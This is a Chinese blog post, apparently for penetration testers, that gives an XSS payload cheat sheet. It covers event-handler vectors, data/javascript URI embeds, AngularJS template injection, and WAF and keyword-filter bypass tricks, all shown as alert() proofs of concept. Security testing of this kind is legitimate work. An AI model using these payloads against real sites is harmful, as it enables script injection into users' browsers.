XSS Payload 介绍

地球胖头鱼 2020-11-05
Web安全 发布于 2020-11-05 10:32:52 阅读 80 评论 0

前言

现在随着时代的发展XSS漏洞已经逐渐减少了,很多时候发现了XSS漏洞也没有很好的Payload。现在网上很多CheatSheet已经都过期好久了,很多XSS CheatSheet都是网上十年前的了,拿这种去使用对现在的XSS漏洞根本没什么用。还有现在很多web已经有了相应的防火墙和过滤器。当然了,如果只是一个简单的XSS漏洞,那你需要的仅仅只是一个有效的XSS攻击向量,而不是一堆“没用”的东西。

因此,在这篇文章中我想给大家提供一个“与众不同”的Cheat Sheet,在这份Cheat Sheet中我将给大家提供一份XSS技术和测试用例清单,并给出一些演示样例。希望在各位遇到难解决的WAF或XSS过滤器时,这份Cheat Sheet能够给大家提供一些帮助或灵感。虽然这份Cheat Sheet不能说100%完整,但是我相信这里提供的技术是2020年绝大部分研究人员仍在使用的技术。

标签属性分隔符

有的过滤器会认为只有某些特定字符可以分隔标签及其属性,下面给出的是在Firefox和Chrome中能够使用的有效分隔符的完整列表:

十进制 URL编码 介绍
47 %2F 正斜杠
13 %0D 回车
12 %0C 分页符
10 %0A 换行
9 %09 水平制表符

使用

Payload构造如下:

<svg onload=alert(1)>

可以尝试使用上述字符来替换svgonload中间的空格,这样就可以保证HTML仍然有效并且Payload能够正确执行(DEMO:有效的HTML):

<svg/onload=alert(1)><svg>
    <svg onload=alert(1)><svg> # newline char
    <svg onload=alert(1)><svg> # tab char
    <svg onload=alert(1)><svg> # new page char (0xc)

标准HTML事件

0点击事件

事件名称 标签 备注
onload body, iframe, img, frameset, input, script, style, link, svg 适用于0-click,但通常会被过滤掉
onpageshow body 适用于0-click,但只能用在非DOM注入中
onfocus 大多数标签 适用于0-click:配合autofocus=””使用
onmouseover 大多数标签 如果可能的话,添加参数值来让其尽可能的大。
onerror img,input,object,link, script,video,audio 确保传递参数来终止运行
onanimationstart 与任何可以设置动画的元素组合 启动,然后开始CSS动画
onanimationend 与任何可以设置动画的元素组合 启动,然后结束CSS动画
onstart marquee 在字幕动画启动时启动-仅限Firefox
onfinish marquee 在字幕动画启动时启动-仅限Firefox
ontoggle details 必须提供’opne’参数以支持0-click

使用样例

<body onload=alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
<body onpageshow=alert(1)>
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
<marquee onstart=alert(1)> (firefox only)
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
<input autofocus="" onfocus=alert(1)></input>
<details open ontoggle="alert()">  (chrome & opera only)

HTML5事件

0点击事件

事件名称 标签 备注
onplay video, audio 适用于0-click:结合HTML的autoplay属性以及结合有效的视频/音频
onplaying video, audio 适用于0-click: 结合HTML的autoplay属性以及结合有效的视频/音频
oncanplay video, audio 必须链接有效的视频/音频
onloadeddata video, audio 必须链接有效的视频/音频
onloadedmetadata video, audio 必须链接有效的视频/音频
onprogress video, audio 必须链接有效的视频/音频
onloadstart video, audio 潜在的0-click向量
oncanplay video, audio 必须链接有效的视频/音频

使用样例

<video autoplay onloadstart="alert()" src=x></video>

<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert()"><source src=x></video>

<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

基于CSS的事件

不幸的是,基于CSS来实现XSS现在已经越来越难了,我尝试过的所有向量目前都只能在非常旧的浏览器上工作。因此,下面介绍的是基于CSS来触发XSS的情况。

下面的例子使用的是style标签来为动画的开始和结束设置关键帧:

<style>@keyframes x {}</style>    <p style="animation: x;" onanimationstart="alert()">XSS</p>    <p style="animation: x;" onanimationend="alert()">XSS</p>

特殊向量XSS

下面这些是一些特殊向量的XSS测试,这些测试向量很少见,遇到了不会用也是正常

<svg><animate onbegin=alert() attributeName=x></svg>

    <object data="data:text/html,<script>alert(5)</script>">

    <iframe srcdoc="<svg onload=alert(4);>">

    <object data=javascript:alert(3)>

    <iframe src=javascript:alert(2)>

    <embed src=javascript:alert(1)>

    <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>

    <embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczL**yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

框架

为了攻击JS框架,我们还需要对相关的模板语言进行研究和分析。

AngularJS

{{constructor.constructor('alert(1)')()}}

这个Payload适用于大多数场景

Mavo

[self.alert(1)]

XSS过滤器绕过

圆括号过滤

利用HTML解析器和JS语句:

<svg onload=alert`1`></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>

关键词过滤

避免使用的关键词:

(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al”+”ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)  // Generated using parseInt("alert",30). Other bases also work

双重编码

有的时候,应用程序会在字符串再次解码之前,对其执行XSS过滤,这样就会给我们留下实现绕过的可乘之机

字符 双重编码
< %253C
> %253E
( %2528
) %2529
%2522
%2527
本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章121
  • 作者收获粉丝2
  • 作者收到点赞0
  • 所有文章被收藏了0
  • 博客总访问量排行第2
  • 博客总访问量1.2 万(每日更新)
查看所有博文